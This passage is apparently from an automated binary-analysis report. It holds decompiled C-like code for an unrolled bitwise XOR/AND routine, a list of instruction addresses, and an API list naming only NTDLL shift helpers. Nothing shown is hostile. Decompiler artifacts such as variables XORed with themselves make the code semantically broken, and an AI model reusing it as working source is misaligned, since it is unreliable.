					_t1757 = _a4;
					_t1413 = _v16;
					_t2050 = _a4;
					_v12 =  *(_t1757 + _t1591 * 8 - 0x88) &  *(_t2050 + _t1413 * 8 - 0xa0) ^ _v12;
					_v8 =  *(_t1757 + _t1591 * 8 - 0x84) &  *(_t2050 + _t1413 * 8 - 0x9c) ^ _v8;
					_t1758 = _v16;
					_t1414 = _a4;
					_t1595 = _v16;
					_t2051 = _a4;
					_v12 =  *(_t1414 + _t1758 * 8 - 0xf0) &  *(_t2051 + _t1595 * 8 - 0x210) ^ _v12;
					_v8 =  *(_t1414 + _t1758 * 8 - 0xec) &  *(_t2051 + _t1595 * 8 - 0x20c) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1598 = _v16;
					_t2052 = _a4;
					 *(_t2052 + 8 + _t1598 * 8) = _v12 ^ _v12;
					 *(_t2052 + 0xc + _t1598 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1599 = _v16;
					_t1767 = _a4;
					_v12 = _v12 ^  *(_t1767 + _t1599 * 8 - 0x2b8);
					_v8 = _v8 ^  *(_t1767 + _t1599 * 8 - 0x2b4);
					_t1600 = _v16;
					_t1768 = _a4;
					_v12 = _v12 ^  *(_t1768 + _t1600 * 8 - 0x78);
					_v8 = _v8 ^  *(_t1768 + _t1600 * 8 - 0x74);
					_t1601 = _v16;
					_t1769 = _a4;
					_t1424 = _v16;
					_t2057 = _a4;
					_v12 =  *(_t1769 + _t1601 * 8 - 0x80) &  *(_t2057 + _t1424 * 8 - 0x98) ^ _v12;
					_v8 =  *(_t1769 + _t1601 * 8 - 0x7c) &  *(_t2057 + _t1424 * 8 - 0x94) ^ _v8;
					_t1770 = _v16;
					_t1425 = _a4;
					_t1605 = _v16;
					_t2058 = _a4;
					_v12 =  *(_t1425 + _t1770 * 8 - 0xe8) &  *(_t2058 + _t1605 * 8 - 0x208) ^ _v12;
					_v8 =  *(_t1425 + _t1770 * 8 - 0xe4) &  *(_t2058 + _t1605 * 8 - 0x204) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1608 = _v16;
					_t2059 = _a4;
					 *(_t2059 + 0x10 + _t1608 * 8) = _v12 ^ _v12;
					 *(_t2059 + 0x14 + _t1608 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1609 = _v16;
					_t1779 = _a4;
					_v12 = _v12 ^  *(_t1779 + _t1609 * 8 - 0x2b0);
					_v8 = _v8 ^  *(_t1779 + _t1609 * 8 - 0x2ac);
					_t1610 = _v16;
					_t1780 = _a4;
					_v12 = _v12 ^  *(_t1780 + _t1610 * 8 - 0x70);
					_v8 = _v8 ^  *(_t1780 + _t1610 * 8 - 0x6c);
					_t1611 = _v16;
					_t1781 = _a4;
					_t1435 = _v16;
					_t2064 = _a4;
					_v12 =  *(_t1781 + _t1611 * 8 - 0x78) &  *(_t2064 + _t1435 * 8 - 0x90) ^ _v12;
					_v8 =  *(_t1781 + _t1611 * 8 - 0x74) &  *(_t2064 + _t1435 * 8 - 0x8c) ^ _v8;
					_t1782 = _v16;
					_t1436 = _a4;
					_t1615 = _v16;
					_t2065 = _a4;
					_v12 =  *(_t1436 + _t1782 * 8 - 0xe0) &  *(_t2065 + _t1615 * 8 - 0x200) ^ _v12;
					_v8 =  *(_t1436 + _t1782 * 8 - 0xdc) &  *(_t2065 + _t1615 * 8 - 0x1fc) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1618 = _v16;
					_t2066 = _a4;
					 *(_t2066 + 0x18 + _t1618 * 8) = _v12 ^ _v12;
					 *(_t2066 + 0x1c + _t1618 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1619 = _v16;
					_t1791 = _a4;
					_v12 = _v12 ^  *(_t1791 + _t1619 * 8 - 0x2a8);
					_v8 = _v8 ^  *(_t1791 + _t1619 * 8 - 0x2a4);
					_t1620 = _v16;
					_t1792 = _a4;
					_v12 = _v12 ^  *(_t1792 + _t1620 * 8 - 0x68);
					_v8 = _v8 ^  *(_t1792 + _t1620 * 8 - 0x64);
					_t1621 = _v16;
					_t1793 = _a4;
					_t1446 = _v16;
					_t2071 = _a4;
					_v12 =  *(_t1793 + _t1621 * 8 - 0x70) &  *(_t2071 + _t1446 * 8 - 0x88) ^ _v12;
					_v8 =  *(_t1793 + _t1621 * 8 - 0x6c) &  *(_t2071 + _t1446 * 8 - 0x84) ^ _v8;
					_t1794 = _v16;
					_t1447 = _a4;
					_t1625 = _v16;
					_t2072 = _a4;
					_v12 =  *(_t1447 + _t1794 * 8 - 0xd8) &  *(_t2072 + _t1625 * 8 - 0x1f8) ^ _v12;
					_v8 =  *(_t1447 + _t1794 * 8 - 0xd4) &  *(_t2072 + _t1625 * 8 - 0x1f4) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1628 = _v16;
					_t2073 = _a4;
					 *(_t2073 + 0x20 + _t1628 * 8) = _v12 ^ _v12;
					 *(_t2073 + 0x24 + _t1628 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1629 = _v16;
					_t1803 = _a4;
					_v12 = _v12 ^  *(_t1803 + _t1629 * 8 - 0x2a0);
					_v8 = _v8 ^  *(_t1803 + _t1629 * 8 - 0x29c);
					_t1630 = _v16;
					_t1804 = _a4;
					_v12 = _v12 ^  *(_t1804 + _t1630 * 8 - 0x60);
					_v8 = _v8 ^  *(_t1804 + _t1630 * 8 - 0x5c);
					_t1631 = _v16;
					_t1805 = _a4;
					_t1457 = _v16;
					_t2078 = _a4;
					_v12 =  *(_t1805 + _t1631 * 8 - 0x68) &  *(_t2078 + _t1457 * 8 - 0x80) ^ _v12;
					_v8 =  *(_t1805 + _t1631 * 8 - 0x64) &  *(_t2078 + _t1457 * 8 - 0x7c) ^ _v8;
					_t1806 = _v16;
					_t1458 = _a4;
					_t1635 = _v16;
					_t2079 = _a4;
					_v12 =  *(_t1458 + _t1806 * 8 - 0xd0) &  *(_t2079 + _t1635 * 8 - 0x1f0) ^ _v12;
					_v8 =  *(_t1458 + _t1806 * 8 - 0xcc) &  *(_t2079 + _t1635 * 8 - 0x1ec) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1638 = _v16;
					_t2080 = _a4;
					 *(_t2080 + 0x28 + _t1638 * 8) = _v12 ^ _v12;
					 *(_t2080 + 0x2c + _t1638 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1639 = _v16;
					_t1815 = _a4;
					_v12 = _v12 ^  *(_t1815 + _t1639 * 8 - 0x298);
					_v8 = _v8 ^  *(_t1815 + _t1639 * 8 - 0x294);
					_t1640 = _v16;
					_t1816 = _a4;
					_v12 = _v12 ^  *(_t1816 + _t1640 * 8 - 0x58);
					_v8 = _v8 ^  *(_t1816 + _t1640 * 8 - 0x54);
					_t1641 = _v16;
					_t1817 = _a4;
					_t1468 = _v16;
					_t2085 = _a4;
					_v12 =  *(_t1817 + _t1641 * 8 - 0x60) &  *(_t2085 + _t1468 * 8 - 0x78) ^ _v12;
					_v8 =  *(_t1817 + _t1641 * 8 - 0x5c) &  *(_t2085 + _t1468 * 8 - 0x74) ^ _v8;
					_t1818 = _v16;
					_t1469 = _a4;
					_t1645 = _v16;
					_t2086 = _a4;
					_v12 =  *(_t1469 + _t1818 * 8 - 0xc8) &  *(_t2086 + _t1645 * 8 - 0x1e8) ^ _v12;
					_v8 =  *(_t1469 + _t1818 * 8 - 0xc4) &  *(_t2086 + _t1645 * 8 - 0x1e4) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1648 = _v16;
					_t2087 = _a4;
					 *(_t2087 + 0x30 + _t1648 * 8) = _v12 ^ _v12;
					 *(_t2087 + 0x34 + _t1648 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1649 = _v16;
					_t1827 = _a4;
					_v12 = _v12 ^  *(_t1827 + _t1649 * 8 - 0x290);
					_v8 = _v8 ^  *(_t1827 + _t1649 * 8 - 0x28c);
					_t1650 = _v16;
					_t1828 = _a4;
					_v12 = _v12 ^  *(_t1828 + _t1650 * 8 - 0x50);
					_v8 = _v8 ^  *(_t1828 + _t1650 * 8 - 0x4c);
					_t1651 = _v16;
					_t1829 = _a4;
					_t1479 = _v16;
					_t2092 = _a4;
					_v12 =  *(_t1829 + _t1651 * 8 - 0x58) &  *(_t2092 + _t1479 * 8 - 0x70) ^ _v12;
					_v8 =  *(_t1829 + _t1651 * 8 - 0x54) &  *(_t2092 + _t1479 * 8 - 0x6c) ^ _v8;
					_t1830 = _v16;
					_t1480 = _a4;
					_t1655 = _v16;
					_t2093 = _a4;
					_v12 =  *(_t1480 + _t1830 * 8 - 0xc0) &  *(_t2093 + _t1655 * 8 - 0x1e0) ^ _v12;
					_v8 =  *(_t1480 + _t1830 * 8 - 0xbc) &  *(_t2093 + _t1655 * 8 - 0x1dc) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1658 = _v16;
					_t2094 = _a4;
					 *(_t2094 + 0x38 + _t1658 * 8) = _v12 ^ _v12;
					 *(_t2094 + 0x3c + _t1658 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1659 = _v16;
					_t1839 = _a4;
					_v12 = _v12 ^  *(_t1839 + _t1659 * 8 - 0x288);
					_v8 = _v8 ^  *(_t1839 + _t1659 * 8 - 0x284);
					_t1660 = _v16;
					_t1840 = _a4;
					_v12 = _v12 ^  *(_t1840 + _t1660 * 8 - 0x48);
					_v8 = _v8 ^  *(_t1840 + _t1660 * 8 - 0x44);
					_t1661 = _v16;
					_t1841 = _a4;
					_t1490 = _v16;
					_t2099 = _a4;
					_v12 =  *(_t1841 + _t1661 * 8 - 0x50) &  *(_t2099 + _t1490 * 8 - 0x68) ^ _v12;
					_v8 =  *(_t1841 + _t1661 * 8 - 0x4c) &  *(_t2099 + _t1490 * 8 - 0x64) ^ _v8;
					_t1842 = _v16;
					_t1491 = _a4;
					_t1665 = _v16;
					_t2100 = _a4;
					_v12 =  *(_t1491 + _t1842 * 8 - 0xb8) &  *(_t2100 + _t1665 * 8 - 0x1d8) ^ _v12;
					_v8 =  *(_t1491 + _t1842 * 8 - 0xb4) &  *(_t2100 + _t1665 * 8 - 0x1d4) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1668 = _v16;
					_t2101 = _a4;
					 *(_t2101 + 0x40 + _t1668 * 8) = _v12 ^ _v12;
					 *(_t2101 + 0x44 + _t1668 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1669 = _v16;
					_t1851 = _a4;
					_v12 = _v12 ^  *(_t1851 + _t1669 * 8 - 0x280);
					_v8 = _v8 ^  *(_t1851 + _t1669 * 8 - 0x27c);
					_t1670 = _v16;
					_t1852 = _a4;
					_v12 = _v12 ^  *(_t1852 + _t1670 * 8 - 0x40);
					_v8 = _v8 ^  *(_t1852 + _t1670 * 8 - 0x3c);
					_t1671 = _v16;
					_t1853 = _a4;
					_t1501 = _v16;
					_t2106 = _a4;
					_v12 =  *(_t1853 + _t1671 * 8 - 0x48) &  *(_t2106 + _t1501 * 8 - 0x60) ^ _v12;
					_v8 =  *(_t1853 + _t1671 * 8 - 0x44) &  *(_t2106 + _t1501 * 8 - 0x5c) ^ _v8;
					_t1854 = _v16;
					_t1502 = _a4;
					_t1675 = _v16;
					_t2107 = _a4;
					_v12 =  *(_t1502 + _t1854 * 8 - 0xb0) &  *(_t2107 + _t1675 * 8 - 0x1d0) ^ _v12;
					_v8 =  *(_t1502 + _t1854 * 8 - 0xac) &  *(_t2107 + _t1675 * 8 - 0x1cc) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1678 = _v16;
					_t2108 = _a4;
					 *(_t2108 + 0x48 + _t1678 * 8) = _v12 ^ _v12;
					 *(_t2108 + 0x4c + _t1678 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1679 = _v16;
					_t1863 = _a4;
					_v12 = _v12 ^  *(_t1863 + _t1679 * 8 - 0x278);
					_v8 = _v8 ^  *(_t1863 + _t1679 * 8 - 0x274);
					_t1680 = _v16;
					_t1864 = _a4;
					_v12 = _v12 ^  *(_t1864 + _t1680 * 8 - 0x38);
					_v8 = _v8 ^  *(_t1864 + _t1680 * 8 - 0x34);
					_t1681 = _v16;
					_t1865 = _a4;
					_t1512 = _v16;
					_t2113 = _a4;
					_v12 =  *(_t1865 + _t1681 * 8 - 0x40) &  *(_t2113 + _t1512 * 8 - 0x58) ^ _v12;
					_v8 =  *(_t1865 + _t1681 * 8 - 0x3c) &  *(_t2113 + _t1512 * 8 - 0x54) ^ _v8;
					_t1866 = _v16;
					_t1513 = _a4;
					_t1685 = _v16;
					_t2114 = _a4;
					_v12 =  *(_t1513 + _t1866 * 8 - 0xa8) &  *(_t2114 + _t1685 * 8 - 0x1c8) ^ _v12;
					_v8 =  *(_t1513 + _t1866 * 8 - 0xa4) &  *(_t2114 + _t1685 * 8 - 0x1c4) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1688 = _v16;
					_t2115 = _a4;
					 *(_t2115 + 0x50 + _t1688 * 8) = _v12 ^ _v12;
					 *(_t2115 + 0x54 + _t1688 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1689 = _v16;
					_t1875 = _a4;
					_v12 = _v12 ^  *(_t1875 + _t1689 * 8 - 0x270);
					_v8 = _v8 ^  *(_t1875 + _t1689 * 8 - 0x26c);
					_t1690 = _v16;
					_t1876 = _a4;
					_v12 = _v12 ^  *(_t1876 + _t1690 * 8 - 0x30);
					_v8 = _v8 ^  *(_t1876 + _t1690 * 8 - 0x2c);
					_t1691 = _v16;
					_t1877 = _a4;
					_t1523 = _v16;
					_t2120 = _a4;
					_v12 =  *(_t1877 + _t1691 * 8 - 0x38) &  *(_t2120 + _t1523 * 8 - 0x50) ^ _v12;
					_v8 =  *(_t1877 + _t1691 * 8 - 0x34) &  *(_t2120 + _t1523 * 8 - 0x4c) ^ _v8;
					_t1878 = _v16;
					_t1524 = _a4;
					_t1695 = _v16;
					_t2121 = _a4;
					_v12 =  *(_t1524 + _t1878 * 8 - 0xa0) &  *(_t2121 + _t1695 * 8 - 0x1c0) ^ _v12;
					_v8 =  *(_t1524 + _t1878 * 8 - 0x9c) &  *(_t2121 + _t1695 * 8 - 0x1bc) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1698 = _v16;
					_t2122 = _a4;
					 *(_t2122 + 0x58 + _t1698 * 8) = _v12 ^ _v12;
					 *(_t2122 + 0x5c + _t1698 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1699 = _v16;
					_t1887 = _a4;
					_v12 = _v12 ^  *(_t1887 + _t1699 * 8 - 0x268);
					_v8 = _v8 ^  *(_t1887 + _t1699 * 8 - 0x264);
					_t1700 = _v16;
					_t1888 = _a4;
					_v12 = _v12 ^  *(_t1888 + _t1700 * 8 - 0x28);
					_v8 = _v8 ^  *(_t1888 + _t1700 * 8 - 0x24);
					_t1701 = _v16;
					_t1889 = _a4;
					_t1534 = _v16;
					_t2127 = _a4;
					_v12 =  *(_t1889 + _t1701 * 8 - 0x30) &  *(_t2127 + _t1534 * 8 - 0x48) ^ _v12;
					_v8 =  *(_t1889 + _t1701 * 8 - 0x2c) &  *(_t2127 + _t1534 * 8 - 0x44) ^ _v8;
					_t1890 = _v16;
					_t1535 = _a4;
					_t1705 = _v16;
					_t2128 = _a4;
					_v12 =  *(_t1535 + _t1890 * 8 - 0x98) &  *(_t2128 + _t1705 * 8 - 0x1b8) ^ _v12;
					_v8 =  *(_t1535 + _t1890 * 8 - 0x94) &  *(_t2128 + _t1705 * 8 - 0x1b4) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1708 = _v16;
					_t2129 = _a4;
					 *(_t2129 + 0x60 + _t1708 * 8) = _v12 ^ _v12;
					 *(_t2129 + 0x64 + _t1708 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1709 = _v16;
					_t1899 = _a4;
					_v12 = _v12 ^  *(_t1899 + _t1709 * 8 - 0x260);
					_v8 = _v8 ^  *(_t1899 + _t1709 * 8 - 0x25c);
					_t1710 = _v16;
					_t1900 = _a4;
					_v12 = _v12 ^  *(_t1900 + _t1710 * 8 - 0x20);
					_v8 = _v8 ^  *(_t1900 + _t1710 * 8 - 0x1c);
					_t1711 = _v16;
					_t1901 = _a4;
					_t1545 = _v16;
					_t2134 = _a4;
					_v12 =  *(_t1901 + _t1711 * 8 - 0x28) &  *(_t2134 + _t1545 * 8 - 0x40) ^ _v12;
					_v8 =  *(_t1901 + _t1711 * 8 - 0x24) &  *(_t2134 + _t1545 * 8 - 0x3c) ^ _v8;
					_t1902 = _v16;
					_t1546 = _a4;
					_t1715 = _v16;
					_t2135 = _a4;
					_v12 =  *(_t1546 + _t1902 * 8 - 0x90) &  *(_t2135 + _t1715 * 8 - 0x1b0) ^ _v12;
					_v8 =  *(_t1546 + _t1902 * 8 - 0x8c) &  *(_t2135 + _t1715 * 8 - 0x1ac) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1718 = _v16;
					_t2136 = _a4;
					 *(_t2136 + 0x68 + _t1718 * 8) = _v12 ^ _v12;
					 *(_t2136 + 0x6c + _t1718 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1719 = _v16;
					_t1911 = _a4;
					_v12 = _v12 ^  *(_t1911 + _t1719 * 8 - 0x258);
					_v8 = _v8 ^  *(_t1911 + _t1719 * 8 - 0x254);
					_t1720 = _v16;
					_t1912 = _a4;
					_v12 = _v12 ^  *(_t1912 + _t1720 * 8 - 0x18);
					_v8 = _v8 ^  *(_t1912 + _t1720 * 8 - 0x14);
					_t1721 = _v16;
					_t1913 = _a4;
					_t1556 = _v16;
					_t2141 = _a4;
					_v12 =  *(_t1913 + _t1721 * 8 - 0x20) &  *(_t2141 + _t1556 * 8 - 0x38) ^ _v12;
					_v8 =  *(_t1913 + _t1721 * 8 - 0x1c) &  *(_t2141 + _t1556 * 8 - 0x34) ^ _v8;
					_t1914 = _v16;
					_t1557 = _a4;
					_t1725 = _v16;
					_t2142 = _a4;
					_v12 =  *(_t1557 + _t1914 * 8 - 0x88) &  *(_t2142 + _t1725 * 8 - 0x1a8) ^ _v12;
					_v8 =  *(_t1557 + _t1914 * 8 - 0x84) &  *(_t2142 + _t1725 * 8 - 0x1a4) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1728 = _v16;
					_t2143 = _a4;
					 *(_t2143 + 0x70 + _t1728 * 8) = _v12 ^ _v12;
					 *(_t2143 + 0x74 + _t1728 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1729 = _v16;
					_t1923 = _a4;
					_v12 = _v12 ^  *(_t1923 + _t1729 * 8 - 0x250);
					_v8 = _v8 ^  *(_t1923 + _t1729 * 8 - 0x24c);
					_t1730 = _v16;
					_t1924 = _a4;
					_v12 = _v12 ^  *(_t1924 + _t1730 * 8 - 0x10);
					_v8 = _v8 ^  *(_t1924 + _t1730 * 8 - 0xc);
					_t1731 = _v16;
					_t1925 = _a4;
					_t1567 = _v16;
					_t2148 = _a4;
					_v12 =  *(_t1925 + _t1731 * 8 - 0x18) &  *(_t2148 + _t1567 * 8 - 0x30) ^ _v12;
					_v8 =  *(_t1925 + _t1731 * 8 - 0x14) &  *(_t2148 + _t1567 * 8 - 0x2c) ^ _v8;
					_t1926 = _v16;
					_t1568 = _a4;
					_t1735 = _v16;
					_t2149 = _a4;
					_v12 =  *(_t1568 + _t1926 * 8 - 0x80) &  *(_t2149 + _t1735 * 8 - 0x1a0) ^ _v12;
					_v8 =  *(_t1568 + _t1926 * 8 - 0x7c) &  *(_t2149 + _t1735 * 8 - 0x19c) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1738 = _v16;
					_t2150 = _a4;
					 *(_t2150 + 0x78 + _t1738 * 8) = _v12 ^ _v12;
					 *(_t2150 + 0x7c + _t1738 * 8) = _v8 ^ _v8;
					L0040EDFE();
					L0040EDF8();
					_v28 = _v28 ^ _v28 ^ _v28 &  *0x411128;
					_v24 = _v24 ^ _v24 ^ _v24 &  *0x41112c;
					_v16 = _v16 + 0x10;
					_v32 = _v32 + 0x10;
				}
				return _t1396;
			}

0x00406618
0x0040661d
0x00406620
0x00406626
0x00406629
0x00406630
0x00406642
0x00406645
0x0040664b
0x00000000
0x00000000
0x00406654
0x0040665a
0x0040665d
0x00406660
0x00406677
0x0040667a
0x0040667d
0x00406680
0x00406697
0x0040669a
0x0040669d
0x004066a0
0x004066a3
0x004066a6
0x004066cb
0x004066ce
0x004066d1
0x004066d4
0x004066d7
0x004066da
0x004066ff
0x00406702
0x0040670d
0x00406718
0x0040671b
0x00406726
0x00406731
0x00406734
0x00406737
0x0040673a
0x00406741
0x00406747
0x0040674a
0x0040674d
0x00406764
0x00406767
0x0040676a
0x0040676d
0x0040677e
0x00406781
0x00406784
0x00406787
0x0040678a
0x0040678d
0x004067b2
0x004067b5
0x004067b8
0x004067bb
0x004067be
0x004067c1
0x004067e6
0x004067e9
0x004067f4
0x004067ff
0x00406802
0x0040680d
0x00406818
0x0040681b
0x0040681e
0x00406822
0x00406829
0x0040682f
0x00406832
0x00406835
0x0040684c
0x0040684f
0x00406852
0x00406855
0x00406866
0x00406869
0x0040686c
0x0040686f
0x00406872
0x00406875
0x00406894
0x00406897
0x0040689a
0x0040689d
0x004068a0
0x004068a3
0x004068c8
0x004068cb
0x004068d6
0x004068e1
0x004068e4
0x004068ef
0x004068fa
0x004068fd
0x00406900
0x00406904
0x0040690b
0x00406911
0x00406914
0x00406917
0x0040692e
0x00406931
0x00406934
0x00406937
0x00406948
0x0040694b
0x0040694e
0x00406951
0x00406954
0x00406957
0x00406976
0x00406979
0x0040697c
0x0040697f
0x00406982
0x00406985
0x004069aa
0x004069ad
0x004069b8
0x004069c3
0x004069c6
0x004069d1
0x004069dc
0x004069df
0x004069e2
0x004069e6
0x004069ed
0x004069f3
0x004069f6
0x004069f9
0x00406a10
0x00406a13
0x00406a16
0x00406a19
0x00406a2a
0x00406a2d
0x00406a30
0x00406a33
0x00406a36
0x00406a39
0x00406a58
0x00406a5b
0x00406a5e
0x00406a61
0x00406a64
0x00406a67
0x00406a8c
0x00406a8f
0x00406a9a
0x00406aa5
0x00406aa8
0x00406ab3
0x00406abe
0x00406ac1
0x00406ac4
0x00406ac8
0x00406acf
0x00406ad5
0x00406ad8
0x00406adb
0x00406af2
0x00406af5
0x00406af8
0x00406afb
0x00406b0c
0x00406b0f
0x00406b12
0x00406b15
0x00406b18
0x00406b1b
0x00406b34
0x00406b37
0x00406b3a
0x00406b3d
0x00406b40
0x00406b43
0x00406b68
0x00406b6b
0x00406b76
0x00406b81
0x00406b84
0x00406b8f
0x00406b9a
0x00406b9d
0x00406ba0
0x00406ba4
0x00406bab
0x00406bb1
0x00406bb4
0x00406bb7
0x00406bce
0x00406bd1
0x00406bd4
0x00406bd7
0x00406be8
0x00406beb
0x00406bee
0x00406bf1
0x00406bf4
0x00406bf7
0x00406c10
0x00406c13
0x00406c16
0x00406c19
0x00406c1c
0x00406c1f
0x00406c44
0x00406c47
0x00406c52
0x00406c5d
0x00406c60
0x00406c6b
0x00406c76
0x00406c79
0x00406c7c
0x00406c80
0x00406c87
0x00406c8d
0x00406c90
0x00406c93
0x00406caa
0x00406cad
0x00406cb0
0x00406cb3
0x00406cc4
0x00406cc7
0x00406cca
0x00406ccd
0x00406cd0
0x00406cd3
0x00406cec
0x00406cef
0x00406cf2
0x00406cf5
0x00406cf8
0x00406cfb
0x00406d20
0x00406d23
0x00406d2e
0x00406d39
0x00406d3c
0x00406d47
0x00406d52
0x00406d55
0x00406d58
0x00406d5c
0x00406d63
0x00406d69
0x00406d6c
0x00406d6f
0x00406d86
0x00406d89
0x00406d8c
0x00406d8f
0x00406da0
0x00406da3
0x00406da6
0x00406da9
0x00406dac
0x00406daf
0x00406dc8
0x00406dcb
0x00406dce
0x00406dd1
0x00406dd4
0x00406dd7
0x00406dfc
0x00406dff
0x00406e0a
0x00406e15
0x00406e18
0x00406e23
0x00406e2e
0x00406e31
0x00406e34
0x00406e38
0x00406e3f
0x00406e45
0x00406e48
0x00406e4b
0x00406e62
0x00406e65
0x00406e68
0x00406e6b
0x00406e7c
0x00406e7f
0x00406e82
0x00406e85
0x00406e88
0x00406e8b
0x00406ea4
0x00406ea7
0x00406eaa
0x00406ead
0x00406eb0
0x00406eb3
0x00406ed8
0x00406edb
0x00406ee6
0x00406ef1
0x00406ef4
0x00406eff
0x00406f0a
0x00406f0d
0x00406f10
0x00406f14
0x00406f1b
0x00406f21
0x00406f24
0x00406f27
0x00406f3e
0x00406f41
0x00406f44
0x00406f47
0x00406f58
0x00406f5b
0x00406f5e
0x00406f61
0x00406f64
0x00406f67
0x00406f80
0x00406f83
0x00406f86
0x00406f89
0x00406f8c
0x00406f8f
0x00406fb4
0x00406fb7
0x00406fc2
0x00406fcd
0x00406fd0
0x00406fdb
0x00406fe6
0x00406fe9
0x00406fec
0x00406ff0
0x00406ff7
0x00406ffd
0x00407000
0x00407003
0x0040701a
0x0040701d
0x00407020
0x00407023
0x00407034
0x00407037
0x0040703a
0x0040703d
0x00407040
0x00407043
0x0040705c
0x0040705f
0x00407062
0x00407065
0x00407068
0x0040706b
0x00407090
0x00407093
0x0040709e
0x004070a9
0x004070ac
0x004070b7
0x004070c2
0x004070c5
0x004070c8
0x004070cc
0x004070d3
0x004070d9
0x004070dc
0x004070df
0x004070f6
0x004070f9
0x004070fc
0x004070ff
0x00407110
0x00407113
0x00407116
0x00407119
0x0040711c
0x0040711f
0x00407138
0x0040713b
0x0040713e
0x00407141
0x00407144
0x00407147
0x0040716c
0x0040716f
0x0040717a
0x00407185
0x00407188
0x00407193
0x0040719e
0x004071a1
0x004071a4
0x004071a8
0x004071af
0x004071b5
0x004071b8
0x004071bb
0x004071d2
0x004071d5
0x004071d8
0x004071db
0x004071ec
0x004071ef
0x004071f2
0x004071f5
0x004071f8
0x004071fb
0x00407214
0x00407217
0x0040721a
0x0040721d
0x00407220
0x00407223
0x00407248
0x0040724b
0x00407256
0x00407261
0x00407264
0x0040726f
0x0040727a
0x0040727d
0x00407280
0x00407284
0x0040728b
0x00407291
0x00407294
0x00407297
0x004072ae
0x004072b1
0x004072b4
0x004072b7
0x004072c8
0x004072cb
0x004072ce
0x004072d1
0x004072d4
0x004072d7
0x004072f0
0x004072f3
0x004072f6
0x004072f9
0x004072fc
0x004072ff
0x00407324
0x00407327
0x00407332
0x0040733d
0x00407340
0x0040734b
0x00407356
0x00407359
0x0040735c
0x00407360
0x00407367
0x0040736d
0x00407370
0x00407373
0x0040738a
0x0040738d
0x00407390
0x00407393
0x004073a4
0x004073a7
0x004073aa
0x004073ad
0x004073b0
0x004073b3
0x004073cc
0x004073cf
0x004073d2
0x004073d5
0x004073d8
0x004073db
0x004073fa
0x004073fd
0x00407408
0x00407413
0x00407416
0x00407421
0x0040742c
0x0040742f
0x00407432
0x00407436
0x00407442
0x00407453
0x00407472
0x00407475
0x0040747e
0x0040663f
0x0040663f
0x0040748b

APIs

_aullshr.NTDLL ref: 0040670D
_allshl.NTDLL ref: 00406726
_aullshr.NTDLL ref: 004067F4
_allshl.NTDLL ref: 0040680D
_aullshr.NTDLL ref: 004068D6
_allshl.NTDLL ref: 004068EF
_aullshr.NTDLL ref: 004069B8
_allshl.NTDLL ref: 004069D1
_aullshr.NTDLL ref: 00406A9A
_allshl.NTDLL ref: 00406AB3
_aullshr.NTDLL ref: 00406B76
_allshl.NTDLL ref: 00406B8F
_aullshr.NTDLL ref: 00406C52
_allshl.NTDLL ref: 00406C6B
_aullshr.NTDLL ref: 00406D2E
_allshl.NTDLL ref: 00406D47
_aullshr.NTDLL ref: 00406E0A
_allshl.NTDLL ref: 00406E23
_aullshr.NTDLL ref: 00406EE6
_allshl.NTDLL ref: 00406EFF
_aullshr.NTDLL ref: 00406FC2
_allshl.NTDLL ref: 00406FDB
_aullshr.NTDLL ref: 0040709E
_allshl.NTDLL ref: 004070B7
_aullshr.NTDLL ref: 0040717A
_allshl.NTDLL ref: 00407193
_aullshr.NTDLL ref: 00407256
_allshl.NTDLL ref: 0040726F
_aullshr.NTDLL ref: 00407332
_allshl.NTDLL ref: 0040734B
_aullshr.NTDLL ref: 00407408
_allshl.NTDLL ref: 00407421
_allshl.NTDLL ref: 00407442
_aullshr.NTDLL ref: 00407453

Strings

